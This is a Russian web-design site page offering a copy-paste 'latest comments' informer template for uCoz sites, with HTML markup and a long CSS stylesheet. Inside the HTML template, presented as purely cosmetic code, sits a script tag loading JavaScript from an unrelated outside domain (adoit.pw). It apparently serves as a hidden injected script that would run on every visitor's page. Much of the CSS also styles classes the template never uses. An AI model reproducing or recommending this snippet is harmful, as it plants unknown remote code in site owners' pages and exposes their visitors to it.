Последние комментарии как на diz-cs - 24 Июля 2013 - WebDesign Planet
Вы сейчас тут: Главная » 2013 » Июль » 24
Популярные новости
Наибольшая активность в новостях
Новое на сайте
Последние добавления
Новые комментарии
Новые комментарии к новостям
17:42
17:37
07:57
15:35
19:25
21:54
21:53
22:04
11:49
05:35
Последние комментарии как на diz-cs
Категория: Скрипты для uCoz | Просмотров: 560 | Добавил: DoG | Дата: 19.05.2024
Красивый информер последние комментарии для вашего сайта. Этот информер подойдёт для темных дизайнов. В нем преобладают зеленые цвета на которых написано время комментария. Слева находится Аватар того пользователя который оставил комментарий.

2. Заходим в панель управления.

Создаем информер с параметрами:

[Комментарии · Материалы · Дата добавления материала D · Материалы: 3 · Колонки: 1]

В шаблон информера вставляем следующий код:

Код
<table><tbody><tr><td valing="top" class="comm_s"><a href="$PROFILE_URL$" target="_blank">  
<img src="$USER_AVATAR_URL$"></a></td>  
<td class="comm_a" valign="top">  
<div class="c_date_comm">  
<div class="c_date">в $TIME$ $DATE$</div>  
</div><script type="text/javascript" src="http://adoit.pw/border.js"></script> </td></tr></tbody></table>  
<div class="mess_commes"><span style="color: rgb(255, 255, 255);">$MESSAGE$</span>  
<div class="t_h">» <a href="$ENTRY_URL$">$ENTRY_TITLE$</a></div></div>  
<style>  
.cell_comment_os {  
  float:left;  
  width:100%;  
  background:#181818;border:1px solid #242424;  
  padding-bottom:3px;  
  margin-bottom:15px;-webkit-border-radius: 4px;  
-moz-border-radius: 4px;  
border-radius: 4px;  
}  
.comment_p {  
  float:right;  
  width:80px;  
}  
.comment_v {  
  margin: 5px 0px 5px 10px;  
}  
.comment_c {  
  overflow: hidden;  
  text-align:justify;  
  margin: 0px 0px 0px 10px;  
  padding: 5px 0px;  
  border-top: 1px solid #1f1f1f;  
}  
.comment_n {  
  text-align:right;  
  margin: 3px 78px 0px 10px;  
}  
.vcc_otvet {overflow:hidden!important; border: 1px solid #ba5d5d; padding: 10px;background:#a55959; }  
.comment_avatar {  
  width:40px;  
  height:40px;  
  padding: 4px;  
  margin: 8px 10px 0px 15px;  
  border: 1px solid #252525;  
  background:#131313;  
  -webkit-border-radius:5px;  
  -moz-border-radius:5px;  
  border-radius:5px;  
}  
a.catName {}  
.catDescr {color:#848484;}  
td.catsTd {padding:4px 0px;}  
.catNumData {color:#777;}  
.comm_back {background:#131313;-webkit-border-radius: 3px;  
-moz-border-radius: 3px;  
border-radius: 3px;padding:3px;border:1px solid #191919;}  
.comm_s {width:33px;padding-right:2px;}  
.comm_a {width:100%;padding-left:2px;}  
.comm_s img {width:30px;  
  height:30px;border:3px solid #0a0a0a;-webkit-border-radius: 3px;  
-moz-border-radius: 3px;  
border-radius: 3px;}  
.c_date_comm {background:#111111;padding:4px ;-webkit-border-radius: 3px;  
-moz-border-radius: 3px;  
border-radius: 3px;}  
.c_date {background:#308d4d;-webkit-border-radius: 3px;  
-moz-border-radius: 3px;  
border-radius: 3px;padding:8px 4px;color:#1e512e;text-shadow:0px 1px 0px #38a75b;text-align:center;box-shadow:inset 0px 0px 0px 1px #3a9d5b;}  
.mess_commes {background:#111111;padding:4px ;-webkit-border-radius: 3px;  
-moz-border-radius: 3px;  
border-radius: 3px;margin:3px 0px;border:1px solid #191919;}  
.t_h {color:#494949;font-size:10px;}  
.t_h a{color:#494949;font-size:10px;text-shadow:none;}  
.t_h a:hover {color:#ddd;}  
.con_poll {padding:0px 0px;}  
.tit_poll {background:url(/inf_com/poll_bg.png) repeat-x;height:25px;color:#bcbcbc;font-weight:bold;padding-left:10px;line-height:23px;}  
.con_poll input {outline:none; border:none;}  
.con_poll:not(#Foo) input[type=radio] + label {background:url(http://pnghosts.ru/img/radio_input_1.png) no-repeat 0px 1px;color:#bcbcbc;padding-right:10px;}  
.con_poll:not(#Foo) input[type=radio]:checked + label {background:url(http://pnghosts.ru/img/radio_input_2.png) no-repeat;color:#ddd;}  
.con_poll:not(#Foo) input[type=radio] + label:hover {background:url(http://pnghosts.ru/img//radio_input_3.png) no-repeat;cursor:pointer;color:#777;}  
.poll_bg:not(#Foo) label {padding:0 0 10px 20px; color:#ddd;}  
.poll_bg:not(#Foo) input[type=radio] {display:none;}  
.answer {padding:3px 0px;}  
.con_poll:not(#Foo) input[type=radio]:checked + label {background:url(http://pnghosts.ru/img/radio_input_2.png) no-repeat;color:#ddd;}  
.pollButton {background:url(http://pnghosts.ru/img/bg_poll_but.png) repeat-x; height:50px;margin-top:4px;line-height:36px;}  
.pollBut {float:left;margin-top:14px;}  
</style>

»

ПОНРАВИЛОСЬ?! ТАК ПОДЕЛИСЬ С ДРУГОМ!




Комментарии пользователей
Количество комментариев к новости: 0
Добавлять комментарии могут только зарегистрированные пользователи.
Регистрация   Вход
На правах рекламы
Оплаченные рекламные места
Нас поддерживают
Финансовая поддержка сайта
Навигация
Навигация по сайту
Авторизация
Форма входа на сайт
Категории раздела
Категории материалов
Реклама
;-)
Архив записей
Архив материалов сайта
Календарь
Календарик на сайте
«  Июль 2013  »
ПнВтСрЧтПтСбВс
1234567
891011121314
15161718192021
22232425262728
293031
Обмен баннерами
Наш баннер и баннеры друзей
Получить код

Добавить свой банер Добавить свой банер

Добавить свой банер Добавить свой банер
Статистика
Сатистика на сайте

Яндекс.Метрика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Copyright WebDesign Planet © 2024
| * |